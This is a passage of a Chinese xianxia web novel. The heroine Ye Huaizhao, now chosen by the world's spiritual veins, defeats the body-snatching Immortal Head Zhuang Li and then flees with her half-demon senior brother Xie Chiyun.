庄黎冷漠地看着她,没有说话,可倨傲的神色几乎已经在告诉他们答案。 他是仙首,是天道的眷顾者,是修真界坤脉地主人。 ——被他侵占身体、成为傀儡,这是他给予她的荣幸。 这一瞬间的目光直接将林漱雪带回了那个火光冲天的夜晚。 那个让她的人生翻天覆地的夜晚。 “你知道我为什么会在那时候破镜吗?” 林漱雪看着面前的老人,一字一顿: “——我宁愿将我的灵根丹田全部毁掉,也绝不会留给你。” 电光石火间,封爻忽然明白了所有事情。 他怨恨了林漱雪数十年。 他怨恨她为了自己的修炼之路而弃一百多条性命于不顾,怨恨她违背了自己入道时“荡平天下不平事”的诺言。 ——可如果从一开始,她的破境就是为了救下那一百多条性命呢? 他的瞳孔紧缩,因为这从未想过的真相而双手颤抖,前所未有的迷茫充斥着他的大脑。 封爻是一个阵修。 为了找到人间蒸发的林漱雪报仇,他曾经偷学过许多禁阵。 他也曾看到过侵夺他人躯体、碾碎他人魂魄的狠毒之术。 是了——如果是为了应对这样的术法,必须要在魂魄破碎前率先将对方的魂魄驱离。 如果要将对方的魂魄驱离,必须要使用非常规的手段。 ——比如,引出率先攻击魂魄的破境雷劫。 那一夜,林漱雪的破境雷劫点燃了整整一座山林。 漆黑的火焰咆哮着肆虐,夜幕被烧得宛如白昼,冲天的火焰像是永不熄灭的无忘川炼狱之火。 那时的他并不知道那火焰是什么。 他甚至觉得是凌霄仙君来救他们了。 可当他小心翼翼地爬出地窖时,只看到了惨死在地窖出口的爹娘兄长。 他们的身体被凶兽的利爪贯穿,前来支援的长风门医修收敛着他们的遗体,看到他时惊喜地向旁叫道:“这里还有一个幸存的小孩!” 他浑浑噩噩地被带走,只问了一个问题。 他说:“为什么,凌霄仙君离开了?” 将他抱走的医修顿时露出复杂的神情。 他便知道了。 因为凌霄仙君选择了自己,放弃了他们。 从那一刻,他心中朦朦胧胧的信仰与渴望尽数崩塌了。 他怨恨她,怨恨她为什么没有践行诺言。 ——他怨恨她,毁掉了那个完美的凌霄仙君。 可如今,在他因心神震颤而恍惚的意识中,忽地听到一道无比熟悉的声音。 “我说过会荡平天下不平事,”林漱雪一字一句说,“即便是仙首,也会照杀不误。” 她从未辜负过任何人对“凌霄仙君”的注视。 是他自己亲手撕碎了自己的憧憬。 是他自己,跌入了泥潭。 第86章 第八十六章仙首 即便是修为水平大不如前的庄黎,他的身上也担着仙首的名号。 只要他依旧是修真界的仙首,那么在修真界界内,他便可以调度所有坤脉灵力为己所用。 林漱雪毁掉了庄黎延缓衰老寿命的阵法,可他自身的实力依旧不是林漱雪和封爻两个人就能对付的。 楼阁中各式术法阵法亮起,地上堆砌的白骨骷髅在短短几瞬间就被掀起的灵力威压尽数碾碎。 封爻趁着林漱雪牵制住庄黎的瞬间,强逼着自己动用所有灵力启动脚下阵法。 灵力光芒在刹那间勾勒出繁复的符文,自下而上,原本照亮楼阁的夜明灯噼里啪啦地破裂,碎片如雨般哗啦哗啦倾洒,却被自阵法当中跃出的金色蛟龙咆哮着吞噬。 庄黎站在楼阁的中央,在瞧见金色蛟龙的那刻面露嘲讽。 “就凭这个, 你们就想杀了我?” 他的唇角扯出一个冰冷的笑,幽蓝色的灵力旋转着飞速脱离,硬生生将那一条由灵力构成的金色蛟龙覆盖。 封爻苍白的脸色更差了。 他咬着牙,从庄黎的动作中看到了那居高临下的凌辱。 他本可以直接将那只金色蛟龙击碎,却硬要与他争夺这只蛟龙的控制权。 他要操控着本该属于封爻的蛟龙将主人杀掉。 这是封爻所有阵法中最具杀伤力的一个。 这金色蛟龙是他的伴生灵、本应是永远无法背叛他、如同臂膀的存在。 可他却能感受到自己对于伴生灵的控制愈发微弱。 如同将他身体的一部分割离。 ——这就是林漱雪当年感受到的绝望吗? 在几乎要将魂魄撕裂的痛苦中,庄黎本能地去看撑着墙壁、勉强维持站立的女子。 林漱雪的身体已经到了崩溃的边缘,全身上下找不出一处完好的肌肤。 可她依旧强撑着,目光直勾勾地盯着不断抽调坤脉灵力的庄黎。 封爻的心中忽地闪过一个不合时宜的念头。 ——她在等什么? 在思绪腾起的瞬间,一道笑意盈盈的声音忽地响起。 “呦,庄仙首这里这么热闹?” 漆黑的雾气凭空出现,已经被幽蓝色灵力吞噬了大半的金色蛟龙忽地昂起头颅,在震耳欲聋的龙吟中硬生生地挣脱了幽蓝色灵力的禁锢,毫不犹豫地一头撞向漆黑浓雾。 这一下根本措不及防。 无论是封爻还是庄黎,甚至说刚刚出声的魔族,谁也没料到那金色的伴生灵会宁死不从。 封爻因为反噬而向后踉跄着跌倒在地上,他却来不及顾忌自己,而是猛地抬头。 在他震惊的目光中,身穿金纹玄衣的女子自漆黑雾气中缓缓走出,轻轻挑眉。 “先说好,我可不知道你这里在打架。”她水光潋滟的眸光一转,扫了一眼金色蛟龙留下的星星点点金色光芒,“是它自己撞上来的,我可没有阻止你。” 庄黎冷冷看着她:“谁让你来的。” 山槐:“哎呀,庄仙首这么见外做什么?我可是来帮你的。” 她的手指掐诀,身后的雾气顿时生出灵智一般张牙舞爪着扩散。 山槐将手臂探入漆黑雾气。 而后,一个满身是血的少女被她抓着头发丢了出来。 “来的路上发现一个小姑娘,身上带着你留下的禁制痕迹,应该是偷偷跑出来的吧?”她歪了歪头,下巴轻点地上那人,“看方向,应该是要去找人。” 封爻觉得自己今夜的情绪波动已经到了一种可怖的状态。 可在看清地上少女的那刻,前所未有的惊骇还是让他脱口而出: “——庄丹雪?!” 似乎是听到了自己的名字,一身弟子门服的少女动了动,眼皮颤动着,艰难地掀起。 她的声音恍惚:“……封、堂主?” 说完这话,她似是忽地意识到了什么,甚至都没来得及看见旁边的几人,只一味地伸出手,想要抓住他的衣角。 “快走、快让所有人走……”她喃喃着,“阿爹已经疯了……他想要,他想要让所有人成为他的耗材、他的傀儡——他和山槐,他和那个疯女人想要杀了祭祖仪式的所有人!” 山槐抓着她的头发将她拎起来,故意将尖尖的指甲戳进了她肩膀的伤口,在她痛苦的神色中语气不满地说:“喂,你骂谁疯女人呢?” 封爻终于回过神来。 他不可置信地看着不远处任由山槐施虐的白发老人。 “她是庄丹雪、那是你的孩子!”荒谬和怒火让他的大脑阵阵轰鸣,口不择言,“你到底要做什么?!你究竟还有没有一丝人性?你究竟还是不是人?!” 只是在旁冷静看着这一切的林漱雪终于动了。 她说:“他当然不是人——自然,他也不会是魔。” “即便是魔,也不会将自己的孩子视为以后延续生命的傀儡。” 封爻彻底愣在了原地。 庄黎丝毫不为所动,依旧保持着漠然的神色,像是庄丹雪痛苦的呻吟和旁人的指责对他而言只是无聊的碎语一样。 他只道:“我也曾给过她一个改变的机会,只是她自己错过了。” 林漱雪几乎要讥笑出声。 “庄仙首,您到底是怎么如此理直气壮说出这样荒谬可笑之语的?” 林漱雪的神色讽刺:“生了那么多孩子,却没有一个继承了父母双方的修为天赋。唯一一个继承了的,却是先天魂魄固元、绝无可能被你侵占躯体的人。” “——您说的,难道就是这个错过的机会?” 说实话,林漱雪曾经只知道庄黎此人在修炼一路上极为疯狂极端,却从未想过他已经完全丧失了身为“人”的本性。 所有的一切,无论是不认识的修士弟子,还是自己的骨肉血脉,对他而言都是能够被他利用的工具。 让沈玉山绑架带走修士是为了延续寿命,不断地与别人剩下孩子是为了获得一具修炼天赋绝佳的天生仙骨。 “这是她唯一的价值。”庄黎如此说道。 庄丹雪被山槐丢到了地上。 她的意识已经渐渐清醒,她看到了奄奄一息的林漱雪,也看到了满脸不可置信的封爻,更看到了站在一旁,冷漠说出这句话的庄黎。 她本应该痛苦,可红肿的眼眶连一滴泪水也流不出来,只有额角的鲜血顺着脸庞的弧度慢慢滑落,最终滴落在地上。 庄丹雪一直知道自己不为父亲喜欢。 她以为是因为她不够优秀,于是拼了命地修炼、拼了命地获得他人的夸奖。 她知道青冥台和长风门关系冷淡,知道父亲不喜叶珩,于是她也将叶怀昭作为自己最厌恶的人去挑战。 她赢过,也输过,可无论她表现怎样,庄黎对她一直都是不冷不热的态度。 于是庄丹雪心想,如果我拿到了问道大会的魁首,父亲应当会很高兴吧? 她不顾自己的修为,在第二重选拔前强行破境,可还是输给了叶怀昭。 她本应该痛苦绝望,因为自己丢掉了青冥台的魁首之位、丢掉了父亲的荣誉。 可叶怀昭说:你的剑道走偏了。 这是剑修最致命的危险。 : 但无论是父亲还是师兄,没有一个人告诉她。 庄丹雪终于后知后觉地意识到。 他并非是不喜欢她。 而是根本不在意她。 问道大会结束宴席的那一夜,她主动去找沈玉山,她说:“师兄,为什么父亲不喜欢我?” 沈玉山沉默地看着她。 最后他说:“因为他不喜欢你。 ” 没有那么多为什么。 只因为你是你,只因为你是庄丹雪,只因为你是他最优秀的女儿,只因为他无法掌控你。 她在修炼一路上表现得越出色,就越会让自己的父亲厌恶。 他不会喜欢一个自己无法利用的工具。 更何况,那个工具甚至比他还要出色。 在被庄黎关起来前,她拼尽所有力气,问他:“那你喜欢沈玉山,是因为他以后会是你的傀儡吗?!” 庄黎漠然地看着她。 在禁制落下的前一瞬,庄丹雪听到了他的回答。 “是。” 于是庄丹雪便知道了。 这世上对于庄黎来说只存在三种人。 他自己、可以利用的工具、不能利用的工具。 从始至终,就没有“女儿”的存在。 楼阁中,山槐还在和庄黎表达忠心。 “庄仙首,我帮您做了这么多事,您是不是应该给我点报酬了?” 她一件一件举例:“您不方便动手的修士,我都帮您杀掉了;您需要的修士,我也帮您抓来了;至于您这楼阁中阵法之所以能够驱动,还是我费心费力安排人去长风门和无相宫取来的秘宝。” 山槐也有自己的想法。 她知道,和沈玉山做交易是一回事,但正所谓狡兔三窟,鸡蛋不能放进一个篮子。 她可以相信沈玉山,但不能只相信沈玉山。 于是她和沈玉山交易,帮他搜集修补魂魄之术。 也和庄黎交易,帮他集齐秘宝、延续寿命。 在她看来,这对师徒的关系很是微妙。 如同父子,可又没有血缘关系;像是师徒,可又隐隐敌对。 山槐不关心沈玉山和庄黎做这些事情是为了什么,但她知道这两人都需要她。 那就不怪她脚踏两条船咯。 庄黎:“你想要什么?” 山槐的目光扫向战况惨烈的楼阁。 她说:“我要你告诉我,如何操控坤脉。”- 叶怀昭忽然低头。 在她身旁,刚刚将几只拦路凶兽杀掉的谢迟云看向她:“怎么了,师妹。” 叶怀昭皱了皱眉。 她说:“师兄,你有没有觉得,自己的灵力有些不对劲?” 谢迟云依言感受着:“没有。” 是错觉吗? 叶怀昭迟疑地想。 她总觉得自己周身的灵力很是躁动,像是被什么事情吸引了一样。 但当她凝心静气时,那些躁动的灵力又乖顺地回到了她的身边,任由她掌控。 如此反复几次,她依旧没觉察出什么问题,只好暂且将其压下,说道:“师兄,我们上面还有几层?” 谢迟云估算了一下:“大约还有两层。” 这里是庄黎楼阁的地下空间。 如果想要离开这里,必须走楼阁内的传送阵法。如果要走传送阵法,就必须杀掉所有拦路的凶兽冤魂。 当然,他们也沿路救了不少修士,也渐渐从他们的口中得知了所有真相。 叶怀昭一开始还气得骂人,后来发现此人已经走火入魔,骂他是畜生都玷污了这个词,于是一心一意地斩杀凶兽,抓紧一切时间上去杀了庄黎。 她对谢迟云说:“为什么这样的人会成为仙首?坤脉到底是怎么选的人?” 谢迟云:“修真界的坤脉没有固定的选择方式,他被选为仙首,只代表他最有可能成仙。” 可不容易成仙么……叶怀昭心想,不断地延续寿命,又不断地为自己挑选新的修炼天赋极佳的傀儡,谁能比得过这种人? 说话间,又是一道传送阵的光芒闪过,可眼前却不再是那冤魂锁链飘荡的场景。 谢迟云身旁的灵力不受控制地被牵引到楼阁的中央,与抽调而出的坤脉灵力汇成了一片流淌着金色光芒的银河,环绕在中央的白发仙首身旁。 他依旧保持着长剑出鞘的动作,千山剑法凌厉的剑意肆虐,在源源不断、来自坤脉的灵力加持下使出前所未有强大的一式。 谢迟云的目光掠过场中狼狈的三人,看向庄黎剑尖所指的那人。 ——心口被贯穿的魔族保持着不可置信的神色,被钉死在墙壁上。 青冥台的仙首庄黎,用坤脉引来了灵力,杀掉了魔界的六殿下。 可这并不是最让他关注的事情。 在他和叶怀昭出现的那一瞬间,原本源源不断向庄黎流淌的灵力忽地一滞,生生凝滞在半空。 而后毫无征兆地调转方向,星星点点的银河转入了叶怀昭的身旁。 封爻看到,林漱雪忽地笑了。 他说:“庄仙君,看来无论是当仙首还是做父亲……天道都不站在你那一边。” “你真觉得,你可以当一辈子的仙首吗?” 第87章 第八十七章只带走了她入魔的师兄。…… 在所有人都没有反应过来的时候,庄黎率先辨认出了环绕于叶怀昭身旁的那些灵力究竟是什么。 他的瞳孔紧缩,几乎不敢相信自己的眼睛,脸上的表情如同被迎面打了一拳一样精彩绝伦。 “不,为什么会是你。”他的声音像是从喉咙中挤出来一样,带着不可置信的嘶哑。 即便之前发现林漱雪毁掉了阵法,他也没有像是现在这样失态。 没人比庄黎更清楚那些星河一样环绕身侧的灵力是什么。 那是曾将他从暗无天日的深渊中拯救出来的希望。 那是修真界无数人梦寐以求的、来自天道的肯定。 ——那是修真界坤脉的神识。 叶怀昭伸出手,磅礴浩荡的灵力在她手中乖顺地凑近,心随意动间,本应被庄黎的剑意无差别杀掉的林漱雪等人被赤色的灵力笼罩。 加持着坤脉灵力的千山剑法撞上了她的灵力,却没有如同曾经那样轻而易举地将她碾压,反而呈现出僵持的景象。 没有人知道应当如何掌控坤脉。 可当坤脉选择一个人后,它便已成为了身体的一部分。 只要叶怀昭想,她便能随心所欲地与修真界各处的坤脉共鸣。 赤色红莲在半空中翩然绽放,纤弱柔软的花瓣飘落时正好与肆虐的剑意相撞,却分毫不显势弱。 叶怀昭的长剑出鞘,直指面色阴沉的庄黎。 “庄仙首,”她说,“天道已经放弃你了。” 两道截然相反又所出同源的灵力在相撞的刹那,便将楼阁中所有的禁制阵法尽数吞没。 楼阁倒塌,无数个日夜被折磨杀害所形成的怨气冲天,顷刻间便从破碎的屋檐逸散而出,笼罩了整个夜幕。 冤魂肆虐、魔气腾起。 被庄黎撇在青冥台外门祭台的众位仙君渐渐觉察出不对劲。 绞尽脑汁帮庄黎忽然离席做解释的青冥台弟子也觉出不对。 他们面面相觑,本能地想要去找大师兄沈玉山拿主意,却猛地意识到沈玉山也不见了! 涂因打断了他们的话,直截了当问:“青冥台内门为什么会有如此大的怨气?” 青冥台弟子哑口无言。 涂因瞥他一眼,直接站起身就准备闯去内门。 那弟子本能地想要阻拦,却被涂因身旁的青年似笑非笑地拦住。 “您是在做贼心虚吗,青冥台的仙君?” 弟子蓦地没了声音。 宁绥起身离席前,又一次地看见了长风门的医修。 在议论纷纷的人群中,他的脸色是格格不入的苍白,正疯狂地用灵盘发着什么讯息。 他捕捉到了一点零星的声音。 “完了完了,叶师妹和乘玉君要是折在这里,我还怎么回长风门啊!” 宁绥眯了眯眼睛。 他正要拨开人群去找那医修,忽地听到身后传来此起彼伏的惊呼之声。 “那是什么?” “庄仙首在和谁打架?为什么坤脉会如此动荡?” “因为有两个人在调动坤脉啊!” “可修真界只有一个仙首啊!” 话音落下的瞬间,整个祭台都陷入了死寂。 好事的不好事的,无论一开始有没有想去看那怨 气冲天之处的人,在意识到这个问题时都不约而同地御风过去,想要去看新生仙首的诞生。 宁绥慢了一步,却正好和满身是血的桑春撞了个正着。 四目相对,桑春猛地抓着他:“庄仙首用了禁术,此时昭昭他们很危险!” 山槐身死后的魔气在冤魂的加持下久久不散,清透干净的九段瀑布像是血瀑似地落下,在楼阁四周短暂地形成了鬼魂肆虐、凶兽横行的鬼域。 在涂因等人被鬼域牵制住的时候,叶怀昭和庄黎的交手已经到了最激烈的时候。 高耸入云的楼阁被两道灵力削平,掀起的气流搅动云层,夜幕中忽地响起了震天撼地的雷鸣。 大雨倾盆落下的那刻,叶怀昭一剑将庄黎成千上万道剑意拦下。 “当年我母亲为了救下城中百姓毒发身亡,”她冷冷说,“这是你做的” 庄黎没有回答,却嘲讽似的冷笑一声。 怒火让叶怀昭手中所控的灵力更加暴虐。 仙首的权柄可以让她与修真界中所有坤脉共鸣。 时间无痕,坤脉无声,可做过的事情却全部都被天道铭记。 借着坤脉的眼睛,叶怀昭看到了一切。 他出身没落的仙门世家,凭借卓越的修炼天赋被青冥台的仙师收为徒弟。 他雄心勃勃、胸怀大志,想要重振家族、让所有人记住他的名字。 但他在真正的修真界中跌得头破血流。 他引以为傲的天赋被淹没于无数的天才当中,他只是其中最不起眼的一个。 他需要练习上百次才能学会的剑法,那些天之骄子们却看一眼便能完美使出;他需要费劲千辛万苦才能突破的境界,他们只需短短几年。 他痛苦过、挣扎过,也曾想过放弃。 但他的师尊说:“天道酬勤。” 庄黎信了。 那时候,他依旧勤勤恳恳、老老实实地修炼。 “天道从来没有放弃我,祂从来都是站在我这边的!”庄黎挥手将叶怀昭的剑意击碎,逼近她,神色近乎癫狂,“那么多天之骄子当中,祂只选择了我一个!” 事实的确如此。 谁都没有想到在上一任仙首去世后,坤脉会选择一个默默无闻的弟子作为接任者。 甚至被他们簇拥着坐上仙首之位时,庄黎还沉浸在自己师尊仙逝的悲痛当中,觉得发生的一切都只是他的幻梦。 再没有人告诉他以后的路应当如何走。 再没有人告诉他仙首应当如何做。 ——修真界的仙首,可以是他这样一个平平无奇的人吗? 他惶恐不安,磕磕绊绊地学习如何成为一个仙首,却还是有一天听到了门中弟子的窃窃私语。 “天道真的没有搞错吗?他竟然是所有人中最有可能成仙的那个人?” “就算不论我们青冥台的弟子,那长风门的叶珩、无相宫的涂因……那些人哪个不比他天资更高?” “他不该成为仙首。” 庄黎站在阴影处,心想,他的确不该成为仙首。 只有最强大的那个人,才不辱仙首之名。 回到屋中后,他烧掉了自己所有一点一滴、一丝不苟抄写的符文咒法。 天道酬勤并没有错。 但是此时的他并不是那个可以被允许勤能补拙的普通内门弟子。 他是万人瞩目的仙首。 他必须成为最出众、最优秀的那个人。 叶怀昭在坤脉中看到了他走遍天下的足迹。 他试图寻找一个可以剔骨洗髓的方法,甚至想过用坤脉作为灵骨与天地同寿,可他最终还是失败了。 一夜之间,他从一个风华正茂的青年变成垂垂老矣的白发老人。 他的寿命一眼便能看到最后。 那些流言蜚语越发喧嚣,他也越发疯魔。 而这时,他遇到了一个魔族。 那人说:“庄仙首,既然都已成了这般人不人鬼不鬼的样子,为何不再赌一把呢?” “赌赢了,您便可以永永远远、长长久久地当这修真界的仙首。” 他说,修真界的坤脉是以魂魄为准,而非躯体。 只要他的魂魄未散,即便他换了多少具作为傀儡的躯体,他都依旧会是修真界的仙首。 “甚至就连您一直苦恼的天资,您也可以一并解决。” 那人说:“您可以自己选择一个天资最为出众的躯体。” 庄黎被触动了。 一个偷天换日庞大而可怖的阴谋自此开始布局。 林漱雪是他选中的一个人,却不是唯一一个人。 修真界有无数的天之骄子,有无数璀璨如明星的修士。 魂魄凝实难以被驱离的便动手杀掉,有可能被剥离魂魄的便留下。 短短几十年间,无数在修真界崭露头角的弟子如昙花般转瞬即逝。 世人感叹天妒英才,却从未想过是仙首妒忌英才,选择在其还未成长起来之前便将其折断。 叶怀昭在其中看到了自己的身影。 无忘川的前一夜,山槐同他见面,随口说:“你要怎样?让我杀了她还是将她废掉?” 庄黎漠然反问:“你不想杀她?” 山槐:“魔界那边有人在接触谢迟云,想要借他的身份扳倒我们。这时候可不太好对他师妹动手,万一他撕破脸、真的回了魔界怎么办?” 庄黎:“那便将他也一并杀了。” 他说:“我会帮你打开长风门的五里雾中,将叶珩和时闻筝牵制住。” 叶怀昭一直以为她被抓到无忘川只是一个意外,只是魔族的偶然行动。 直到此时她才知道,是庄黎想要将她杀掉。 “无忘川时是你侥幸逃脱。” 刺目的剑光挑亮漆黑夜幕,灵力在此爬升到前所未有的浓度。 瓢泼大雨倾倒,每一滴雨都蕴藏着磅礴的灵力压力,砸落在身上时带着千钧的重量。 庄黎讥讽说:“难道你以为这一次依旧可以逃脱吗?” 叶怀昭站在高处,居高临下地看着地上的一切。 不远处是魔气翻涌的鬼域,银龙在夜幕中闪烁,刹那间照亮了半边天空。 倒塌陷落的楼阁旁,叶怀昭看到了站在原地,安静注视着她的谢迟云。 他身上的魔气在山槐的共鸣下早已压制不住了,此时双目猩红,狂躁的魔气在身旁肆虐。 无论是谁见到他的第一眼,都会知道长风门的乘玉仙君已经入魔了。 如同曾经被捧到云端、却又亲手被世人拖入泥潭的凌霄仙君一样,不久后整个修真界就会将曾经万人景仰的乘玉仙君踩入尘埃。 他在修真界早已没了退路。 他最该做的,是趁着如今的混乱逃离。 可他没有。 他依旧在注视着她。 似是发觉了叶怀昭的目光,双目猩红的青年如同往常一般,对她弯起唇角。 他说了一句话。 雷声轰鸣,冤魂嘶吼,世间喧闹而混乱。 可叶怀昭依旧听到了那一句话。 他说:【师妹,你已经找到你的道了。】 涂因翻手将阴魂不散的鬼域撕开一道裂口。 无数修士跟着她走出鬼域,抬起头的一瞬间几乎不相信自己的眼睛。 白发仙首的千山剑法在坤脉的加持下已经到了无可比拟的强度。 重重叠叠的山峦虚影在他的身后浮现,每一道都蕴藏着泰山压顶般的沉重威压,放眼望去,就连巍峨高塔都在层层崩裂。 可在另一端,与山峦相比身形纤薄的少女竟然收起了剑! 叶怀昭轻轻眨了一下眼睛,赤色的灵力流光在她的眸底转瞬即逝。 “庄仙首,从我站到这里时,我就没有想逃。” 她向旁伸出手,赤色的灵力被牵引着渐渐凝实,在她手中汇成一把赤色长剑的形状。 无象剑法的最后一式是以气凝魂、以道铸剑。 谢迟云说的对。 她早已找到了她的道,只是将它遗忘在了无忘川。 而如今,她重新找到了她的道。 灵力凝实而成的长剑却有着千钧重量,抬起时几乎让她的手指颤抖。 可她缓慢、坚定、毫不动摇地举起了剑。 而后,划出最简单的一式。 巨大的长剑虚影笼罩夜幕,挥斩而下时撕裂长空,几乎让时间都凝滞一瞬。 银白的长龙环绕着长剑虚影,带着势不可挡的冲击撞上那雄浑厚重的山峦虚影。 山峦崩碎,天震地撼。 灵力碾碎身体前,庄黎听到叶怀昭的声音远远传来。 “你总将自己的欲望推脱为他人的逼迫。” “成仙的只会是那个相信‘天道酬勤’的庄黎,而非是那个任由自己被欲望吞噬的庄仙首。” “是你主动放弃了成仙的可能。” 庄黎的身体崩碎的那刻,叶怀昭将手中虚影的长剑散去。 她看着下方还没来得及反应过来的修士,毫不犹豫地再次调动坤脉。 灵力的光芒大亮,无人能阻止这一代仙首的动作。 她消失在原地。 只带走了她入魔的师兄。 第88章 第八十八章“修真界仙首想囚禁一个半…… 叶怀昭其实不该在把人杀了后什么都不说就离开。 至少她要留下来、先解释一遍她为什么“无缘无故”地就对修真界的仙首动手。 可她还是这么做了。 在人群中震惊恍惚的视线落在她身上,还没来得及注意到旁边魔气缭绕的谢迟云时, 她想都不想就动用了坤脉。 坤脉在修真界分断十六条,纵横交错着埋于地底深处。 叶怀昭的灵识勾连坤脉,顷刻间便已带着谢迟云瞬影到了千里之外。 满山的浓绿树林中,两道人影自空中忽然出现,向下跌落时压折了无数挂着露珠的花枝,簇簇纷纭的浅紫色花瓣纷纷扬扬地飘落。 谢迟云第一时间护住了叶怀昭的身体,背后毫无防备地撞在了坚硬地面上,眉角因为疼痛而抽动一瞬。 叶怀昭:“师兄?师兄你还好吗?” 在她的感知中,谢迟云身上的魔气已经到了一种可怖的地步。 如果他是魔族还好,可他是一个半魔,能活到现在只是因为体内的魔气与灵力达到了动态的平衡。 若是魔气失衡,不出几日他的身体就会承受不住爆体而亡。 她强忍着自己的头痛欲裂,抖着手想要去摸身下男人的脸颊。 “还不会死,”谢迟云撑起上半身,帮她将发鬓肩膀处落下的花瓣摘下,拇指擦过她的眼角,轻声说,“师妹,不要哭。” 叶怀昭这才觉得自己的脸颊一片冰凉。 是什么时候哭的? 她不知道,她只感到一种莫大的茫然和无措。 山槐死了,庄黎死了,她救下了林漱雪,救下了所有不该死的人。那些因为欲望而对她图谋的计划已经被她亲手绞碎,世上再不会有人被动地“英年早逝”。 再不会有人能威胁她的性命,她甚至还掌控了修真界的坤脉,成为了新一任的仙首。 可为什么她依旧对师兄束手无策? 为什么她依旧只能眼睁睁看着他因为魔气痛苦,却什么都做不了? 谢迟云的身上沾着他们两个人的血,浓烈的血腥味甚至压过了周围馥郁芬芳的丁香花。 他抹掉叶怀昭脸上的泪痕,指腹沾染的血色反而在她的眼尾留下一道淡红的痕迹。 犹豫间,踩碎花枝的细微声音从不远处传来。 叶怀昭条件反射地甩出几道闪烁着赤红光芒的术法,被谢迟云半拥着的身体瞬间应激地绷紧。 “谁?!” 一个身穿素衣青衫弟子门服的修士顿住脚步。 三人同时一怔。 觉察到魔族气息、刚刚将手指搭在剑柄上的赵清洵惊讶地睁大眼睛:“叶仙君,还有乘玉仙君?” 叶怀昭只想着快速离开青冥台,随便勾连了最远端的一处坤脉后就带着谢迟云瞬影,并不知道他们如今落脚的地方是何处。 赵清洵说,这里是南境偏远地界的一处宗门后山。 虽说是宗门后山,但这里并不在宗门内部,没有任何警戒的阵法,否则满身魔气的谢迟云在出现的一瞬间就会引发骚乱。 平日里不少附近的村民也会来山上采药捕兽,为了方便,后山上还搭建了几个避雨歇脚的茅草屋。 赵清洵带着他们去了茅草屋,见这两人皆是满身狼狈浑身血污的样子,又特意下山带回来干净的衣物。 简单梳洗过后,赵清浔观察着魔气向外逸散的谢迟云。 她说:“乘玉君,我提醒过你那方子不能多用,而且超过一定时间后也不会再有效果。” 赵清浔曾经和谢迟云交易过。 她为他提供压制魔气的方法,他为她做担保,让她可以去宗门拜师入道。 半年的修炼问道生活平淡寻常,赵清浔却很满意如今的日子。 她也是半魔,但她的天赋远不及谢迟云出众,魔气对她的影响没有像他那般严重到需要常常使用术法压制。 在赵清浔看来,谢迟云这样基本可以算是没救了。 叶怀昭坐在窗旁,沉默半晌后说:“如果不压制魔气呢?” 另外两个半魔同时向她看来。 赵清浔还在困惑时,谢迟云已经听懂了她想说什么。 他说:“可以。” 说完这话,空气骤然凝固。 赵清浔观察了片刻他们二人的神色,知趣道:“我去外面帮两位仙君盯守着不让别人过来。” 她起身离开,将屋门带上。 此时已经到了快要日出的时候,叶怀昭向外看去,窗棂外东边的云絮洇开一线橘色,麻雀落在草地,轻轻叫了几声。 叶怀昭身旁忽地传来浅淡的檀木香,而后响起了她最熟悉的声音。 “林漱雪隐瞒了很多事情,但她的本心不坏,会帮师妹解释好一切,所有人都会知道庄黎是怎样一个疯狂的人,他所做的事情都会公布于天下。” “林漱雪的心结已经解开,等师妹回去后,大约她也会回到长风门。她是个很好的师姐,会帮师妹解决好难处理的事情。” “仙首一职会让很多人议论,但长风门也并非没有过仙首,师尊会一点一点教师妹如何当一位称职仙首。师尊只是面上冷淡,但他还是最看重师妹的。” 他说了很多,从林漱雪说到叶珩,又从叶珩说到长风门的几个仙师,甚至还提到了他在修真界背地里掌控的势力。 他说,这些人他都会留给她,金库的钥匙会给她,仙器秘宝也会交到她的手中。 叶怀昭始终没有回头,只是支着下巴,出神地看着窗外草地上叽叽喳喳的麻雀。 日出的光晕顺着墙角向上爬,先染透了半片窗纸,又落到了叶怀昭的身上。 直到麻雀飞走,叶怀昭才放下手,缓缓回头。 她眼睛一眨不眨地盯着身旁的男人,目光直勾勾的。 “你说这些话是什么意思?”她一字一顿说,“你要告诉我你离开后我应该怎么做吗?” 谢迟云眸光平静地望着她。 “……至于连魂蛊的事情,如今师妹已经掌控了坤脉,可以强行将其剥离,不会再有任何性命威胁。若——” “谢迟云!” 叶怀昭猛地站起身,愤怒说:“你究竟知道不知道自己在说什么?!” “我将你从青冥台带走,难道是给你留时间想遗言的吗?!” 她站起来时只觉得浑身的气血都在向大脑上涌,眼前一黑,差点踉跄一步摔回去。 谢迟云下意识地伸出胳膊想要扶她,被叶怀昭躲开。 她咬着牙,声音几乎是从喉咙中挤出来的:“你知道,我从来都不在意你是魔族还是什么。” “你永远都是我的师兄。”她执拗的,又一次地重复。 谢迟云望着她,轻声说:“师妹,即便你不在意、师尊不在意,可世人会在意。” 叶怀昭:“那就让他们在意,凭什么要因为他们的在意让你离开!” 叶怀昭一直都不明白。 即便她知道结果,她也依旧想不明白。 凭什么就因为他是半魔,他就要被修真界驱离、就要离开长风门、就要离开她去魔界? 难道乘玉仙君在凡间坚守正道时杀的那些凶兽、救的那些人在半魔身份的面前就全部不算数了吗? 他们口中的正道,难道就只存在于修士当中,只要是魔族就一定会祸害四方吗? 谢迟云看着她重新泛红的眼眶。 他说:“因为我还没有保护你、保护师尊、保护长风门的能力。” 叶怀昭忽地怔住了。 她听到谢迟云说:“我不能让你替我承担不该承担的骂名。” 凌霄仙君当年被人从高台上拽下,是因为她破境失败,再没有了曾经冠绝天下的天资和修为。 于是那些人对她尽情辱骂,无论她做没做过的事情都可以一并丢在她身上,因为她没有反抗的能力。 “师妹,我很高兴你能这般偏袒我、信任我,”他稍稍低头,清透的眼中映着日出的微光,“但是我不能什么都不做,任由你挡在我的身前。” 谢迟云从来就不是一个会将他人评价放在心上的人。 除了他在意的那些人,其他任何人的赞誉也好、批评也罢,对他而言都是无关痛痒的。 他并非是因为在意他人的评价而离开修真界、回到魔界。 他回魔界,是因为那里有让他不得不回的事情。 只有完成了那件事情,他才能拥有保护他在意之人的能力。 他不想让他和师妹的感情躲躲藏藏。 他想光明正大地站在她的身旁,让所有人都知道,叶怀昭就是谢迟云的心上人。 叶怀昭回过神来,一把揪住他的衣襟,将他扯得向前倾身。 她说:“你所谓的保护我,难道就是撇开我、独自一人去魔界寻找你那剔骨洗髓之术吗?” 谢迟云脸上的神色倏地一顿。 极近的距离中,他看到叶怀昭的脸上忽地扯出一抹讽刺的笑。 “你是不是以为我一直在怜悯你?”她冷不丁说。 “我——” “你以为我愿意给予你优待,是因为你为了我付出许多、甚至差点死在无忘川。” “你以为我愿意和你在一起,是因为我好奇、憧憬、从未享受过这样的快乐。” “谢迟云。”叶怀昭忽地叫了一声他的名字。 